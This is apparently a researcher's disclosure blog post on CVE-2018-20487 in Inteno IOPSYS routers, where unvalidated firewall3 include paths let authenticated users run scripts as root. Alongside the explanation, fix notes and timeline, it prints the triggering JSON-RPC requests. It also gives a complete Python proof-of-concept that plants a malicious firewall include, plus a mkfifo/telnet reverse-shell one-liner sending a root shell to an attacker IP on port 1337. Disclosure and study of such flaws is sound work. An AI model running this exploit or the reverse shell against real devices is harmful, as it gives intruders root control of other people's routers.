Unsafe firewall includes allowing for remote code execution on Inteno's IOPSYS devices

In Inteno's IOPSYS devices, and very possibly other devices running firewall3 (which is included by default on most OpenWRT-based firmwares), it is possible for an authenticated attacker to abuse firewall includes to remotely execute any binary or script as root. A proof-of-concept exploit can be found at the end of the post. This vulnerability has been assigned the CVE ID: CVE-2018-20487.

A short screencast demonstrating the vulnerability can be seen here. The demo uses iopshell, a CLI I'm working on to easily communicate with the back-end of IOPSYS devices, to insert the malicious firewall rules and ncat to set up a listener for the reverse shell.

Note: I've written reports for vulnerabilities on Inteno's devices before (1, 2, 3, 4, 5). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.

This current vulnerability is possible because firewall3 doesn't validate the paths of included scripts in firewall rules, allowing users to add rules with script paths pointing anywhere on the filesystem. Furthermore, the UCI ACLs allow any authenticated user to insert firewall rules, probably by design - would be pretty useless network devices otherwise. This also includes paths for scripts, pun intended.

Due to the fact that firewall3 runs as root, it is possible for an authenticated attacker to execute any arbitrary binary or script as the root user by issuing the following requests:

{"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "uci", "add", {"config": "firewall", "type": "include", "values": {"path": "/path/to/malicious/script.sh", "reload": "1"}}], "id": "0"}
{"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "uci", "commit", {"config": "firewall"}], "id": "1"}

This immediately executes whatever script the path argument points to. There are many ways to get scripts onto the system depending on the vendor's configuration - some of these methods have been described in my previous blog posts, which you can find at the top of this post. My demonstration and proof-of-concept use the most universal and fool-proof method: an USB drive inserted into the device with the malicious script on the root of the drive. This is ideal as inserted USB drives get mounted automatically by the system, and the mountpoints can be found by issuing the router.system:fs command. It's also the most likely method to still work regardless of vendors' configurations.

It is still possible for an attacker to run commands without requiring physical access to the system. For example, there are multiple configuration files which the user can edit and insert $(cmd) into config files with known paths. These would then be expanded and evaluated by the calling shell when executed.

Due to the fact that firewall3 executes the path with system() directly, I was hoping it would be possible to bypass having to load a script from the filesystem and simply use ; cmd or $(cmd) to execute commands directly. Luckily, firewall3 calls stat() on the supplied path, and doesn't call it if it's not a valid path. This means whatever path is supplied must actually exist in the filesystem.

The best possible fix for this vulnerability without affecting consumer functionality would be to restrict the ACLs to block any attempts to edit or add firewall rules with a path to any scripts - or includes in general. This functionality is not regularly exposed in the admin panel regardless. (edit: Vendor has created a fix which can be seen here and an additional fix here.)

The mentioned proof-of-concept (screencast demo) is as follows. It requires Python 3, a module called websocket-client, which you can install by evoking pip install websocket-client, and a file called shell.sh on the root of an USB drive inserted into the target device. You can find the necessary contents for shell.sh in the comments in the first couple of lines of the PoC. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I've written for IOPSYS devices.

#!/usr/bin/env python3

# Usage: cve-2018-20487.py <ip> <username> <password>
# Details: https://neonsea.uk/blog/2018/12/26/firewall-includes.html
# Please read through the following comments before attempting to use this exploit

"""
By default, this exploit requires a file called 'shell.sh' on the root of
a USB drive inserted into the target system. The file itself should include
the following:
"""

"""
#!/bin/sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet [ATTACKER IP] 1337 >/tmp/f
"""

"""
Make sure [ATTACKER IP] is replaced with the IP of the system which runs
the exploit. Furthermore, make sure port 1337 is not blocked on the attacking
system. This exploit also requires the module 'websocket-client', which
you can install via pip.
"""

import json
import sys
import socket
import os
from threading import Thread
from websocket import create_connection


def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [
                "00000000000000000000000000000000",
                "session",
                "login",
                {"username": username, "password": password},
            ],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        key = response.get("result")[1].get("ubus_rpc_session")
    except IndexError:
        return None
    return key


def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [key, namespace, argument, params],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        result = response.get("result")[1]
    except IndexError:
        if response.get("result")[0] == 0:
            return True
        return None
    return result


def shellReceiver(s):
    try:
        while 1:
            sys.stdout.write(s.recv(1024).decode("utf-8"))
            sys.stdout.flush()
    except socket.error as err:
        print(f"Error receiving data:\n{err}")
        sys.exit(1)


def shellListener():
    print("Waiting for shell...")
    try:
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.bind((socket.gethostname(), 1337))
        listener.listen(1)
        s, addr = listener.accept()

        print(f"Received connection from {addr[0]}\n")
        recv = Thread(target=shellReceiver, args=[s])
        recv.daemon = True
        try:
            recv.start()
            while 1:
                s.send(f"{input()}\n".encode("utf-8"))

        except (KeyboardInterrupt, EOFError):
            s.close()
            listener.close()
            return

    except socket.error as err:
        print(f"Unable to open listener:\n{err}")
        print("Use netcat or similar to listen to port 1337!")
        sys.exit(1)


def getArguments():
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <ip> <username> <password>")
        sys.exit(1)
    else:
        return sys.argv[1], sys.argv[2], sys.argv[3]


if __name__ == "__main__":
    host, user, pasw = getArguments()

    print(f"Authenticating as {user}...")
    key = ubusAuth(host, user, pasw)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print(f"Got key: {key}")

    print("Checking for shell.sh...")
    fsc = ubusCall(host, key, "router.system", "fs")
    if not fsc:
        print("Failed to get filesystem listing!")
        sys.exit(1)

    path = ""
    for fs in fsc.get("filesystem"):
        if fs.get("name")[:7] == "/dev/sd":
            testpath = f"{fs.get('mounted_on')}/shell.sh"
            if ubusCall(host, key, "file", "stat", {"path": testpath}):
                print(f"Got path: {testpath}")
                path = testpath
                break
    if not path:
        print("Failed to find shell.sh, is USB drive plugged in?")
        print("For further info, check the comments at the top of this file.")
        sys.exit(1)

    fwc = ubusCall(host, key, "uci", "get", {"config": "firewall", "section": "shell"})
    if not fwc:
        print("Failed to get firewall rule! Something's wrong, bailing out.")
        sys.exit(1)
    if fwc is not True:
        print("Removing previous shell firewall rule...")
        if not ubusCall(
            host, key, "uci", "delete", {"config": "firewall", "section": "shell"}
        ) or not ubusCall(host, key, "uci", "commit", {"config": "firewall"}):
            print("Failed to remove previous firewall rule, bailing out!")
            sys.exit(1)

    print("Adding shell firewall rule...")
    if not ubusCall(
        host,
        key,
        "uci",
        "add",
        {
            "config": "firewall",
            "type": "include",
            "name": "shell",
            "values": {"path": path, "reload": "1"},
        },
    ) or not ubusCall(host, key, "uci", "commit", {"config": "firewall"}):
        print("Failed to add shell firewall rule!")
        sys.exit(1)

    print("Exploitation complete!")
    shellListener()

Timeline

  • 26/12/2018 - Vendor notified
  • 26/12/2018 - CVE assigned
  • 02/01/2019 - Vendor response
  • 17/01/2019 - Vendor fix
  • 20/01/2019 - Write-up published
  • 23/01/2019 - Additional vendor fix

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.